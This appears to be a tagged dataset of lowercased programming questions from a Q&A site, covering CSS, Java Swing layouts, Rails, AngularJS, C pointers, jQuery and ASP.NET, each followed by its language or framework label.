how to highlight current dates using css   i cant seem to find the solution to highlight current date in my codes. below are the css codes for my calendar.php   <pre><code>/* highlight the  current  day */ .dates li .active { padding: 5px; background: #1abc9c; color: white !important } </code></pre>,html
code organization standard  i am required to manually hand code all gui s for my school assignments. i am working with java and using gridbaglayout. i read that it is not a good idea to reuse the same gridbagconstraint instance and instead for each component to have it s own gridbagconstraint instance. so if each component gets its own and i specify fill  position  and insets for each one that leads to a lot of lines of code just for the gui.    this particular assignment i will have a main pane in borderlayout and 2 other panes that will sit inside that. one will be another borderlayout that is just a display area for output information  the other will be the labels  text fields and buttons for a user to select multiple files to be used for input. i have broken it down and placed all code for each pane in its own jcomponent instance(not sure if that is the correct term). so code looks like:   <pre><code>protected jcomponent inputpanecomponent() {     all code for the inputpane goes here } </code></pre>   but like i described above using multiple gridbagconstraints and specifics for each component leads to a long group of code. should i break it apart with empty lines between each component maybe put a comment line above each one stating which component i am working with  or just a long stack of lines     this is just a sample i haven t finished coding it all yet. something like this:   <pre><code>protected jcomponent inputpanecomponent() {     jpanel inputpane = new jpanel();     inputpane.setlayout(new gridbaglayout());     inputpane.setborder(borderfactory.createtitledborder( input files: ));     gridbagconstraints c0 = new gridbagconstraints();     c0.fill = gridbagconstraints.horizontal;     c0.gridx = 0;     c0.gridy = 0;     c0.insets = new insets(10  10  0  0);     inputpane.add(namelabel  c0);     gridbagconstraints c1 = new gridbagconstraints();     c1.fill = gridbagconstraints.horizontal;     c1.gridx = 1;     c1.gridy = 0;     c1.insets = new insets(10  10  0  0);     inputpane.add(namefiletextfield  c1);     gridbagconstraints c2 = new gridbagconstraints();     c2.fill = gridbagconstraints.horizontal;     c2.gridx = 2;     c2.gridy = 0;     c2.insets = new insets(10  10  0  0);     inputpane.add(namefilebutton  c2);     return inputpane; } </code></pre>   or this:   <pre><code>protected jcomponent inputpanecomponent() {     // set title  layout  and exit condition.     jpanel inputpane = new jpanel();     inputpane.setlayout(new gridbaglayout());     inputpane.setborder(borderfactory.createtitledborder( input files: ));      // create and configure name label.     jlabel namelabel = new jlabel( names file: );     gridbagconstraints c0 = new gridbagconstraints();     c0.fill = gridbagconstraints.horizontal;     c0.gridx = 0;     c0.gridy = 0;     c0.insets = new insets(10  10  0  0);     inputpane.add(namelabel  c0);      // create and configure name file textfield.     jtextfield namefiletextfield = new jtextfield(60);     gridbagconstraints c1 = new gridbagconstraints();     c1.fill = gridbagconstraints.horizontal;     c1.gridx = 1;     c1.gridy = 0;     c1.insets = new insets(10  10  0  0);     inputpane.add(namefiletextfield  c1);      // create and configure name file button.     jbutton namefilebutton = new jbutton( browse );     gridbagconstraints c2 = new gridbagconstraints();     c2.fill = gridbagconstraints.horizontal;     c2.gridx = 2;     c2.gridy = 0;     c2.insets = new insets(10  10  0  0);     inputpane.add(namefilebutton  c2);     return inputpane; } </code></pre>   i prefer the latter  as to me it is easier to read  but it does add to the length and i m not that experienced and would like to know what the standard might be.    thanks for your help  and i hope i m within the rules for this forum  this is my first post here.    matt,java
ruby on rails: nested form not working  currently  my nested form (the one for address) isn t showing up. it just shows the h1  and the submit button...    relevant code:   <pre><code>class address &lt; activerecord::base   belongs_to :user   belongs_to :poll_option   apply_addresslogic :fields =&gt; [[:number  :street]  :city  [:state  :zip_code]] end  class polloption &lt; activerecord::base   belongs_to :poll   has_one :address    accepts_nested_attributes_for :address  :allow_destroy =&gt; true  end  &lt;h1&gt;add a new address for voting&lt;/h1&gt;  &lt;% form_for @poll_option do |po_form| %&gt;   &lt;%= po_form.error_messages %&gt;    &lt;%= po_form.hidden_field :poll_id  :value =&gt; @poll.id %&gt;    &lt;% po_form.fields_for :address do |addr_form| %&gt;       &lt;%= addr_form.label :number %&gt;&lt;br /&gt;       &lt;%= addr_form.text_field :number %&gt;&lt;br /&gt;       &lt;br /&gt;       &lt;%= addr_form.label :street %&gt;&lt;br /&gt;       &lt;%= addr_form.text_field :street %&gt;&lt;br /&gt;       &lt;br /&gt;       &lt;%= addr_form.label :city %&gt;&lt;br /&gt;       &lt;%= addr_form.text_field :city %&gt;&lt;br /&gt;       &lt;br /&gt;       &lt;%= addr_form.label :state %&gt;&lt;br /&gt;       &lt;%= addr_form.text_field :state %&gt;&lt;br /&gt;       &lt;br /&gt;       &lt;%= addr_form.label :zip_code %&gt;&lt;br /&gt;       &lt;%= addr_form.text_field :zip_code %&gt;&lt;br /&gt;       &lt;br /&gt;       &lt;br /&gt;    &lt;% end %&gt;    &lt;%= submit_tag  create address and vote for this one  %&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
angularjs drop down showing nothing selected when loading first time  i have a drop down using angularjs but at initial loading it showing  nothing selected   i want select first value default.   <pre><code>&lt;select id= cbo-db-selection  ng-init= selectedlibrary=selectedlibrary[0].value  ng-model= selectedlibrary  required= required  ng-options= opt.databasename as opt.databasename for opt in dblibraries &gt;   &lt;option style= display:none  value=  &gt;{{selectedlibrary}}&lt;/option&gt; &lt;/select&gt; </code></pre>,angularjs
gridview column fixed in horizontal direction  i have taken two gridviews in a div and made header fixed and body scrollable but my requirement is to have two columns of both gridview fixed.,asp.net
uitableviewdatasource methods  default implementation  for a method like    <pre><code>(uiview *)tableview:(uitableview *)tableview viewforheaderinsection:(nsinteger)section </code></pre>   if i want to implement it for certain tableviews in my view  and not others  is there a way to return the default implementation   tia,iphone
ios remove view before applicationwillenterforeground  i m developing an app on ios 7 with a desired feature is that   <ul> <li> when i home button  app enter background  i will add an image to current uiwindow. so when app enter background  if user double home button on ios 7  os will show a small screenshot of current view of my app  so user can see my added image. :)  (i did it) </li> <li> when user return my app by clicking app icon  i want to remove this image immediately. in this situation   immediately  means that user can not see this image anymore  user just see his/her current view when app enter foreground. i try to place the code remove image on the beginning of applicationwillenterforeground delegate  but i m still able to see this image for a short time after it disappears.   <ul> <li>i also try to set hidden  alpha property for this imageview first  then removefromsuperview  but it not works.</li> </ul></li> </ul>   can anyone help me to remove it  immediately  as my desire.,ios
can t get message box to work in method with a for loop  i ve gotten the program to work  but the kicker is i have to put a message box in to tell the user that he entered an incorrect number or description and i can t seem to make it work. here s my code:    <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms;  namespace flexableorder {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }          private void btnprice_click(object sender  eventargs e)         {             int [] itemnum = { 112  123  134  213  224  235 };             double[] price = { 16.95  10.95  14.25  21.95  45.99  89.99 };             string[] description = {  plate    cup    bowl    vase    planter    statue  };              string getstritem;             int getintitem;              getstritem = convert.tostring(txtorder.text);             bool isnumerical = int.tryparse(getstritem  out getintitem);             getdetails(getintitem itemnum price);             getdetails(getstritem  description  price);          }         public void getdetails(int itemnumber  int [] item  double [] metprice )         {             bool statement = false;              for (int index = 0; index &lt; item.length; ++index)             {                 if (itemnumber == item[index])                 {                     txtdetails.text = string.format( item number is {0} and price is {1}   itemnumber  metprice[index]);                     statement = true;                 }             }         }         private void getdetails(string itemnumber  string[] description  double [] price )         {             for (int index = 0; index &lt; description.length; ++index)             {                 if (itemnumber == description[index])                     txtdetails.text = string.format( the item description is {0} and price is {1}   description[index]  price[index]);             }               }      } } </code></pre>   i tried putting an else statement in but when i noticed it was just skipping the first if statement because it was the wrong number going to the else.     immediately putting the message box  even if i entered the right number in it would display the right thing in the text box then put up the message box.,c#
interface inheritance and derived classes  why can t i do something like this in c# (pseudo code follows)   <pre><code>interface1 {     method1();    }  interface2 : interface1 {     method2(); }  class1 : interface1 {     method1()     {     } }  class2 : class1  interface2 {     method2()     {     } } </code></pre>,c#
javascript comparing variables  hey i am making simple game and getting some functions done but i am not sure what i am doing here wrong. it always alerts  incorrect  i have made a text box and a button. when button is pressed it calls getanswer() and compares the variable with whatever was in the textbox. i have feeling i am doing something wrong with assigning the variable textbox. but not sure.   <pre><code>var currentword =  hi    function getanswer(){ var textbox = document.getelementbyid( answer_box ); if (textbox == currentword){ alert( correct! ); }else{ alert( incorrect! ); } </code></pre>   the button and text box code   <pre><code>&lt;input type= text  id= answer_box /&gt; &lt;input type= button  value= submit  onclick= getanswer();  /&gt; </code></pre>,javascript
my app needs login   how app store testers will know it  i have created an app in which user need to login to proceed   they can get their login id and password from my website.    now when i am trying to upload my app to apple store   how should i give them my website s url so that they can create a login id to check my app or how should i give them some test user id and password with which they can login and test the app.    seriously i googled it and found it nowhere . please answer as my app is ready but can t upload it without this information.,iphone
pointers to derived members of the class  if i have for example some  class <code>base</code> and derived from it <code>derived</code> also i have some list of shared pointers:   <pre><code>list&lt;shared_ptr&lt;base&gt; &gt; list </code></pre>   i create shared pointer:   <pre><code>line 5    shared_ptr&lt;derived&gt; ptr(new derived(//some constructor)); </code></pre>   my question is  can i do something like this:   <pre><code>list.push_back(ptr); </code></pre>   if yes  can somebody explain why can i recieve an error (i receive this on the line 5)   <pre><code>no matching function for call to //here it writes me my constructor to derived </code></pre>   thanks in advance for any help,c++
reading from a file and printing double ratios in c  i have file which has a series of numbers : 9 1 2 1    i try to findout the ratios subsum/sum    <pre><code>#include &lt;stdio.h&gt; void main() {      double subsum = 0;     double sum    = 13;     double num    = 0;     double x      = 0;     file*  file   = fopen( text.txt    r );      while (fscanf(file   %f   &amp;num) &gt; 0)     {         subsum = subsum + num;         x      = subsum / sum;          printf( %f  x);         printf( \n );     }      fclose(file); } </code></pre>   but it keeps printing zeros(0.00000000000) why,c
return false / stop jquery function on click  i have function <code>start()</code> that is fired on ready. when i click on <code>.exampleclick</code>  i want to stop function <code>start()</code> from running. here is my example...   <pre><code>$(document).ready(function(){    $(function start(){       // do stuff on ready   });    $(document).on( click   .exampleclick  function() {      // when this is fired  function start() should stop running   });  }); </code></pre>   what is the best method to achieve what i am trying to do,jquery
get url of website that failed to load  at my school  many websites are blocked (not an unblocking question don t worry).    i am interested in building something that keeps a list of all blocked pages by me clicking a bookmark with javascript code associated with it.    problem is  there are two ways my school blocks things    <ol> <li> is replacing the pages html with their own blocked message  meaning using javascripts <code>location.href</code> works just fine. </li> <li> blocking the connection completely  giving me a <code>err_tunnel_connection_failed</code> message. because of this  <code>location.href</code> doesn t work (i suspect chrome doesn t store that info). is there anyway to retireve the url  it is still in the url bar. </li> </ol>   i haven t had many things to try as i am very new to javascript.    thanks in advance!    here is my relevant code:   <pre><code>javascript:(window.open(location.href)) </code></pre>   p.s. if this is a duplicate question or an easy one to solve  please let me know  i don t want to clog up stackoverflow with dumb questions.,javascript
get the rgba value of layout items that only appear at runtime and are not accessible through code  how do you get the rgba values of layout items that are not visible in the interface builder and are not set by code     like alert views or the delete button of a uitableview.    at the moment i am looking for the rgba value of the red color of a tableview delete button     since i like the color i would change my other red stuff to that color. it is not the standard uicolor.redcolor(),ios
making some css modifications in a haml file  i am still new to all <code>haml</code> and <code>css</code> and currentyly working on this part of a code:   <pre><code>  - my_provider_list.each do |provider|     %li{ class:  group_classes group-list-colspace   id: provider.name }       = provider.name       %span{class:  group-list }= provider.value       %span{class:  group-list }= provider.specialty </code></pre>   so i borrowed from other parts of the code we had and got it to that point seen in the picture below    <img src= https://i.stack.imgur.com/3czvw.png  alt= enter image description here >    but i can t figure out how to make some space between the values it shows for specialty and the cost value    what do you suggest to add or modify to get that part fixed     here is the generate code with html space added:   <pre><code>&lt;li class= group_classes group-list-colspace  id= physician 2679 &gt; physician 2679 &lt;span class= group-list &gt;218395&lt;/span&gt; &amp;nbsp; &lt;span class= group-list &gt;pediatrics&lt;/span&gt; &lt;/li&gt; </code></pre>   and the css for list items is just this:   <pre><code>.group-list {   float:right; } </code></pre>,ruby-on-rails
how to format the value in currency format in gridview <pre><code>protected void lineitemgrid_rowdatabound(object sender  gridviewroweventargs e) {      label lbl3 = (label)e.row.findcontrol( lbltotal );      if (lbl3 != null)      {          lbl3.text = college.student.activity[e.row.rowindex].mark1.tostring();          total += decimal.parse(lbl3.text);      } } </code></pre>   in the aspx page   <pre><code>&lt;asp:templatefield headertext= total   headerstyle-font-bold= true  itemstyle-horizontalalign= right  headerstyle-width= 120px  headerstyle-horizontalalign= right &gt; </code></pre>,asp.net
debugging angularjs injection error: error: [$injector:unpr] unknown provider:  i am injecting an angular constant into a controller.  i had already had a constant that was working just fine.  however  when i added this constant  i started getting the unknown provider message on it.    i m sure i ve left something undone  but i m not seeing it.  are there any good suggestions on how to best track this down     the error message:   <pre><code>error: [$injector:unpr] unknown provider: column_defaultprovider &lt;- column_default &lt;- dashboard http://errors.angularjs.org/1.3.15/$injector/unpr p0=column_defaultprovider%20%3c-%20column_default%20%3c-%20dashboard at regex_string_regexp (http://localhost:56263/scripts/angular.js:63:12) at http://localhost:56263/scripts/angular.js:4015:19 at object.getservice [as get] (http://localhost:56263/scripts/angular.js:4162:39) at http://localhost:56263/scripts/angular.js:4020:45 at getservice (http://localhost:56263/scripts/angular.js:4162:39) at invoke (http://localhost:56263/scripts/angular.js:4194:13) at object.instantiate (http://localhost:56263/scripts/angular.js:4211:27) at http://localhost:56263/scripts/angular.js:8501:28 at link (http://localhost:56263/scripts/angular-route.js:975:26) at invokelinkfn (http://localhost:56263/scripts/angular.js:8258:9) &lt;div ng-view=   class= ng-scope &gt; </code></pre>   i m using some code from <a href= https://github.com/frapontillo/angular-highcharts  rel= nofollow >github</a> to wrap highcharts in angular.  what i wanted to do was to add another chart type.  the chart constant sets some default settings:   <pre><code>(function () {  use strict ;  angular.module( frapontillo.highcharts.constants )    /**    * @ngdoc object    * @name frapontillo.highcharts.constants.constant:column_default    *    * @description    * default configuration for a solid gauge type of chart.    *    * @return {object} column_default column configuration defaults.    */   .constant( column_default   {       name:  column         options: {           chart: {               type:  column                 renderto: this.id                borderwidth: 0                backgroundcolor: null                spacing: [10  10  10  10]           }            exporting: {               enabled: false           }            legend: {               enabled: false           }            credits: {               enabled: false           }            title: {               text:              }            xaxis: {               labels: {                   enabled: true                    style: {                       font:  arial                         fontsize:  10px                         fontweight:  normal                         zindex: -100                   }                    usehtml: true                }                tickwidth: 0.5                ticklength: 3                type:  category             }            yaxis: {               min: 0                max: 100                borderwidth: 0                gridlinewidth: 0                minorgridlinewidth: 0                datalabels: {                   enabled: false               }                labels: {                   enabled: true                    format:  {value}%                }                title: {                   text:                   }                plotbands: configmgr.getchartplotbands()           }            plotoptions: {               column: {                   pointpadding: 0.2                    borderwidth: 0               }            }            tooltip: {               enabled: false                shared: true                usehtml: true            }        }   })     .config(configure);  configure.$inject = [ $chartdefaultsprovider    column_default ];  function configure($chartdefaultsprovider  column_default) {     $chartdefaultsprovider.adddefault(column_default.name  column_default.options); } }); </code></pre>   this constant is loaded in the module definition:   <pre><code>angular.module( frapontillo.highcharts.directives       [ frapontillo.highcharts.providers ]);  angular.module( frapontillo.highcharts.constants   [ frapontillo.highcharts.providers ]);  angular.module( frapontillo.highcharts.providers   []);  angular.module( frapontillo.highcharts   [ frapontillo.highcharts.directives    frapontillo.highcharts.constants     frapontillo.highcharts.providers  ]); </code></pre>   finally in my app.core.js  i have:   <pre><code>(function () {  use strict ;  angular.module( app.core   [     // app blocks      blocks.logger        frapontillo.highcharts        // 3rd party modules  ]); })(); </code></pre>   my abbreviated controller looks like:   <pre><code>(function () {  use strict ;  angular     .module( app )     .controller( dashboard   dashboard);  dashboard.$inject = [ $scope    logger    dashboarddata    solidgauge_default    column_default ];  function dashboard($scope  logger  dashboarddata  solidgauge_default  column_default) { })(); </code></pre>   app.js:   <pre><code>(function () {  use strict ;  angular.module( app   [     // angular modules       nganimate        ngroute        // custom modules       // 3rd party modules      app.core        app.layout        app.services  ])  .config(configure) .run([ $route    $rootscope    $q       function ($route  $rootscope  $q) {         // include $route to kick start the router.         //breeze.core.extendq($rootscope  $q);         //routemediator.setroutinghandlers();     }]);  configure.$inject = [ $routeprovider    $locationprovider ]; /** * setup routes * @param $routeprovider angular route component * @param $locationprovider angular location component */ function configure($routeprovider  $locationprovider) {      $routeprovider         .when( /dashboard   {             templateurl:  home/dashboard               controller:  dashboard               controlleras:  vm          })     .otherwise(         {             redirectto:  /home/index          }); } })(); </code></pre>   now i only added this one constant (solidgauge_default existed previously)  all other parts of this frapontillo.highcharts module were working ok before.    thanks for looking!,angularjs
c++ reference return of class object- why not working   if i use the following code then why the ouput is same in following two cases:   <pre><code>class test   {       public:       int data;      test() { data = 9; }      test&amp; myfunction ();     void print() { cout &lt;&lt; data&lt;&lt;endl; } };    test m; test&amp; test::myfunction () {     return m; };       int main() {        test b;     test a;     b=a.myfunction();     b.print();     m.data=7;     b.print();      return 0; } </code></pre>   in the above code why  b.print()  outputs the same data on screen even after i hav changed the  data  of  m ... <br> <strong> b  is a reference to  m . so if i change value of  data  of  m   value of  data  of  b  should also change automatically...</strong>    output of above code is :<br> 9<br> 9// <strong>why not 7 </strong>,c++
default .net runtime version  i have a few .net versions under c:\windows\microsoft.net\framework\    what system variable controls what gets run by default,.net
polymorphism  find the type of a get  i have a question about polymorphism.    i have a parent object case:   <pre><code>public class case {  //a constructor //some attributes //some getters and setters  } </code></pre>   then a child class:   <pre><code>public class casenorm extends case { public casenorm(//some attributes) {         super(//some attributes);     } } </code></pre>   in my parent class object  i have an attribute:   <pre><code>private case nextcase; </code></pre>   but next case can have a type  casenorm or other child class from case.    then in a main class i have to get the  case and set this in a variable with the correct type. for example   <pre><code> public class labyrinthe {      public static void main(string[] args) {         case case1 = new case(//some attributes); //set next case  who can be a type of casenorm  casehyp  casehym  etc.     }  } </code></pre>   i want now to get case1  but with the correct type. how can i do that     edit:    i try to explain my conception  to better understand my question.    i have a case class  that a parent case. this class model a square. then it has child who specialises this square. casenorm (for a normal square  no color  etc)  another can be casehyp (for a red square with a border)  etc.    each case has a number and a position. i want to get the next case  if the actual case is 1  nextcase will be the case 2 (who can be a casenorm  or a casehyp  etc). i need to know in my application  which type is nextcase.    edit2:    it seems that i m again not clear. i try to be more.   <pre><code>public class case {      private int numerocase;     private int posx;     private int posy;     private int taille;     private int ligne;     private int colonne;      public case(int numerocase  int posx  int posy  int taille  int nblignes  int nbcolonnes) {         this.numerocase = numerocase;         this.posx = posx;         this.posy = posy;         this.taille = taille;         this.ligne = numerocase / nbcolonnes+1;         this.colonne = numerocase % nbcolonnes+1;     }      public int getnumerocase() {         return numerocase;     }      public void setnumerocase(int numerocase) {         this.numerocase = numerocase;     }      public int getposx() {         return posx;     }      public void setposx(int posx) {         this.posx = posx;     }      public int getposy() {         return posy;     }      public void setposy(int posy) {         this.posy = posy;     }      public int gettaille() {         return taille;     }      public void settaille(int taille) {         this.taille = taille;     }      public int getligne() {         return ligne;     }      public void setligne(int ligne) {         this.ligne = ligne;     }      public int getcolonne() {         return colonne;     }      public void setcolonne(int colonne) {         this.colonne = colonne;     } } </code></pre>   subclass:   <pre><code>public class casemur extends case {     private color color = color.black;      private color bordercolor = color.white;      public casemur(int numerocase  int posx  int posy  int taille) {         super(numerocase  posx  posy  taille);     }      public color getcolor() {         return color;     }      public void setcolor(color color) {         this.color = color;     }      public color getbordercolor() {         return bordercolor;     }      public void setbordercolor(color bordercolor) {         this.bordercolor = bordercolor;     }  } </code></pre>   class to screen:   <pre><code>public class terrain {      private int nbcolonnes;     private int nblignes;     private int largeurcarre;     private arraylist&lt;case&gt; cases = new arraylist&lt;case&gt;();     private case caseactuelle;     private object casesuivantedroite; //next right case     private object casesuivantegauche; //next left case     private object casesuivantehaut; //next up case     private object casesuivantebas; //next bottom case      public terrain() {         constructionstatiqueterrain();     }      private void constructionstatiqueterrain() {         this.nbcolonnes = 7;         this.nblignes = 5;         this.largeurcarre = 40;          construitcases();         casedebut(1);         casefin(24);         casemur(12); //        casemur(17);caseactuelle.getcolonne()         casemur(22);     }      public object getcasesuivantedroite() {         return casesuivantedroite;     }      public void setcasesuivantedroite(case caseactuelle) {         if (caseactuelle.getcolonne() &lt; nbcolonnes &amp;&amp; !cases.get(caseactuelle.getnumerocase() + 1).getclass().equals(casemur.class)) {             this.casesuivantedroite = cases.get(caseactuelle.getnumerocase() + 1);         } else {             this.casesuivantedroite = null;         }     }      public object getcasesuivantegauche() {         return casesuivantegauche;     }      public void setcasesuivantegauche(case casesuivantegauche) {         if (caseactuelle.getcolonne() != 1 &amp;&amp; !cases.get(caseactuelle.getnumerocase() - 1).getclass().equals(casemur.class)) {             this.casesuivantegauche = cases.get(caseactuelle.getnumerocase() - 1);         } else {             this.casesuivantegauche = null;         }     }      public object getcasesuivantehaut() {         return casesuivantehaut;     }      public void setcasesuivantehaut(case casesuivantehaut) {         if (caseactuelle.getligne() != 1 &amp;&amp; !cases.get(caseactuelle.getnumerocase() - nbcolonnes).getclass().equals(casemur.class)) {             this.casesuivantehaut = cases.get(caseactuelle.getnumerocase() - nbcolonnes);         } else {             this.casesuivantehaut = null;         }     }      public object getcasesuivantebas() {         return casesuivantebas;     }      public void setcasesuivantebas(case casesuivantebas) {         if (caseactuelle.getligne() &lt; nblignes &amp;&amp; !cases.get(caseactuelle.getnumerocase() + nbcolonnes).getclass().equals(casemur.class)) {             this.casesuivantebas = cases.get(caseactuelle.getnumerocase() + nbcolonnes);         } else {             this.casesuivantebas = null;         }     }      public void setcaseactuelle(int numcase) {         this.caseactuelle = new case(numcase  cases.get(numcase).getposx()  cases.get(numcase).getposy()  largeurcarre  nblignes  nbcolonnes);         setcasesuivantedroite(caseactuelle);         setcasesuivantegauche(caseactuelle);         setcasesuivantehaut(caseactuelle);         setcasesuivantebas(caseactuelle);     }      public case getcaseactuelle() {         return this.caseactuelle;     }      public void casenormale(int numcase) {         numcase--;         cases.set(numcase  new casenormale(numcase  cases.get(numcase).getposx()  cases.get(numcase).getposy()  largeurcarre));     }      private void casemur(int numcase) {         numcase--;         cases.set(numcase  new casemur(numcase  cases.get(numcase).getposx()  cases.get(numcase).getposy()  largeurcarre));     }      public void casedebut(int numcase) {         numcase--;         cases.set(numcase  new casedebut(numcase  cases.get(numcase).getposx()  cases.get(numcase).getposy()  largeurcarre));         this.caseactuelle = new case(numcase  cases.get(numcase).getposx()  cases.get(numcase).getposy()  largeurcarre  nblignes  nbcolonnes);         this.casesuivantedroite = cases.get(numcase + 1);     }      private void casefin(int numcase) {         numcase--;         cases.set(numcase  new casefin(numcase  cases.get(numcase).getposx()  cases.get(numcase).getposy()  largeurcarre));     }      private void construitcases() {         int numerocase = 1;         for (int i = 0; i &lt; nblignes; i++) {             for (int j = 0; j &lt; nbcolonnes; j++) {                 addcase(new casenormale(numerocase  j * largeurcarre  i * largeurcarre  largeurcarre));                 numerocase++;             }         }     }      public arraylist&lt;case&gt; getcases() {         return cases;     }      public void addcase(case case1) {         cases.add(case1);     }      public int getnbcolonnes() {         return nbcolonnes;     }      public void setnbcolonnes(int nbcolonnes) {         this.nbcolonnes = nbcolonnes;     }      public int getnblignes() {         return nblignes;     }      public void setnblignes(int nblignes) {         this.nblignes = nblignes;     }      public int getlargeurcarre() {         return largeurcarre;     }      public void setlargeurcarre(int largeurcarre) {         this.largeurcarre = largeurcarre;     }  } </code></pre>   in the getcasesuivantegauche method  i have to return a object case  i want to return a case and the use so:    main class:   <pre><code>terrain terrain = new terrain(); terrain.getcasesuivantebas().getcolor(); </code></pre>   but getcasesuivantbas return an object or a case if i change object by case  and then i cannot catch the casenormal methods.,java
jquery - how could i bind the same things to 2 diffrent classes   i have got:   <pre><code>$( .class1 ).click(function(){   //do things on $(this) element }) </code></pre>   and   <pre><code>$( .class2 ).click(function(){   //do things on $(this) element }) </code></pre>   things to do in each of that is the same  but when i did:   <pre><code>$( .class2 ).click(function(){    $( .class1 ).click(); }) </code></pre>   ... it was disaster  that actived each element with <code>class1</code>. is there any similar solution to above one,jquery
how to improve csv reading performance  i am reading a csv file and saving the data from the csv file to my database.    i m using <code>streamreader</code> s <code>readline()</code> to read every line and then insert it into my database  which is working fine. but after profiling my code i noticed that <code>readline()</code> is taking up too much time.    <strong>how can i improve the performance of my task</strong>.    please provide me with alternative options.    performance is the main concern here.,c#
how to not animate caption with slidesjs  i m using slidesjs (<a href= http://www.slidesjs.com  rel= nofollow >http://www.slidesjs.com</a>)  and i ve got it working the way i want it to except for 2 things.  one  i need the captions to not do the same animation as the images.  specifically  i need them to not animate at all  just change instantly. <a href= http://jsfiddle.net/bzrdk/42/  rel= nofollow >here s a jsfiddle that should suffice</a>    i ve included the entire slidesjs bit in the javascript part of the jsfiddle so u can edit it easily.  the part that you call is just:   <pre><code>$(function(){   $( .slides ).slides({     preload: true      preloadimage:  &lt; =static_root &gt;images/loading.gif       play: 5000      pause: 2500      hoverpause: false      effect:  dpg     }); </code></pre>   });    dpg is just a custom effect that i made so i wouldn t erase the normal effects of slide and fade.    the other part that isn t working is that the animation doesn t work the very first time. after the first transition  it works like it should. i can probably figure out how to fix this part though  so mainly i need help with the first part  but extra credit if you can help me with both. thanks in advance.,jquery
paperclip audio file upload  i am using paperclip gem to upload files. i want to upload different kinds of files like pdf  doc  video and audio. i have validation for file type in my model. for doc  pdf and video it is working but it is not wroking for audio file. please help. my model   <pre><code>class xyz &lt; activerecord::base   attr_accessible :email  :name  :avatar  :categoryid   has_attached_file :avatar   validates_attachment_content_type :avatar  :content_type =&gt; [ video/mp4   video/avi   audio/mp3   application/pdf   application/pdf   application/vnd.ms-excel                      application/vnd.openxmlformats-officedocument.spreadsheetml.sheet                 application/msword                  application/vnd.openxmlformats-officedocument.wordprocessingml.document                  text/plain ]   #validates_attachment_content_type :avatar  :content_type =&gt; [ audio/mp3 ] end </code></pre>   this is the error i got...   <pre><code>1 error prohibited this xyz from being saved:      avatar content type is invalid </code></pre>,ruby-on-rails
copying the string of pointer to other pointer  folks     i have basic and simple question on pointers. the below is code is giving a segmentation fault.   <pre><code>int main()  {      char *str =  hello  world\n ;      char *strc =  good morning\n ;      strcpy(strc  str);      printf( %s\n   strc);      return 0;  } </code></pre>   can t we copy from pointer to other.    <ol start= 2 > <li>if i have char *strc =  good morning\n   can t i do like this strc[5] =  . ;. why this also giving a seg fault.</li> </ol>,c
sql equal operator implicit conversion  <pre><code>select count(id) from student where dept_name = (select dept_name                    from instructor                    where id =  14364                    ); </code></pre>   i know that select operator return a relation. however  dept_name should equal a value(varchar). so  why this query works <br> implicit conversion means relation to value(varchar in context),sql
change color - hover effect  i am trying to change color at the hover effect to blue at the three gold buttons below the big picture on the start page. <a href= http://www.businesspodden.se  rel= nofollow noreferrer >http://www.businesspodden.se</a>    i successfully changed color when the mouse  hovers   but it s not correct. i have been trying a lot.    i don t know what to do  can someone help me out with this problem     <strong>i did:</strong>    <pre><code>.qodef-hover-background {   background-color: #2487c9 !important; } </code></pre>,css
how to upload and download a file  i like to upload an file in my project. when i click the upload button the file should be stored in client system and the file name and path should be stored in the database. when i clicking the download button it should be downloaded based on the file name and path that i have stored in the database. after making the changes it should be uploaded as different file name and it will not affect the previous file content. if there is any code for this process please send it to me.    thanks in advance,asp.net
how to detect 403 errors on images in one place   this error is thrown when my site is used inside an organization that blocks certain domains - i.e. social sites etc.  they are just links to images on these domains using <code>&lt;img src =   &gt;</code>    <strong>from chrome console</strong>   <blockquote>    failed to load resource: the server responded with a status of 403   (forbidden: category denied)    followed by url   </blockquote>   how can i detect this error pragmatically and have a default image display instead,javascript
creating a push function for linked stack program   here some code of my linked stack program:   <pre><code>import java.util.nosuchelementexception;  class linkstack&lt;t&gt; {     private class node {       t value;       node link;    }     private node top = null;            ... </code></pre>   now  my push function header is this:   <pre><code>public void push (t value) {       node temp = new node();       temp.value =   } </code></pre>   im planning on assigning the value of temp to equal the value thats being passed in the parameter of the push method but im not sure if i can do that because i m not sure what  t  is exactly     also i have written a pop function  does this make any sense  :   <pre><code>public t pop() {       if (empty()) {          throw new nosuchelementexception ( linked_stack.pop );       } else{          node temp = top;          temp = top.link;          return temp.value;        }    } </code></pre>,java
how to skip if there is no substring to avoid error in console   i am setting substrings   <pre><code>var hash = document.location.hash;  // create an object to act like a dictionary to store each value indexed by its key var partdic = {};  // remove the leading  #  and split into parts var parts = hash.substring(1).split( &amp; );  // if you just want the first value  whatever it is  use this. // but be aware it s a url so can be set to anything in any order  so this makes little sense // var string = parts[0].split( = )[1];  // build the dictionary from each part $.each(parts  function(i  v) { // do the  =  split now var arr = v.split( = );  // decode to turn  %5b  back into  [  etc var key = decodeuricomponent(arr[0]); var value = decodeuricomponent(arr[1]);  // store in our  dictionary  object partdic[key] = value; });  settimeout( function() {     var ag = partdic[ combofilters[agencies] ].substring(1);     $( .agency .dropdown-toggle ).html(ag).append(  &lt;span class= caret &gt;&lt;/span&gt; );     var cl = partdic[ combofilters[clients] ].substring(1);     $( .client .dropdown-toggle ).html(cl).append(  &lt;span class= caret &gt;&lt;/span&gt; );     var yr = partdic[ combofilters[years] ].substring(1).slice(1);     $( .year .dropdown-toggle ).html(yr).append(  &lt;span class= caret &gt;&lt;/span&gt; ); }  1000); </code></pre>   but if there is not a substring  i am getting:   <pre><code>uncaught typeerror: cannot read property  substring  of undefined </code></pre>   i am guessing i need a simple if/else but i am not sure how to in this case,jquery
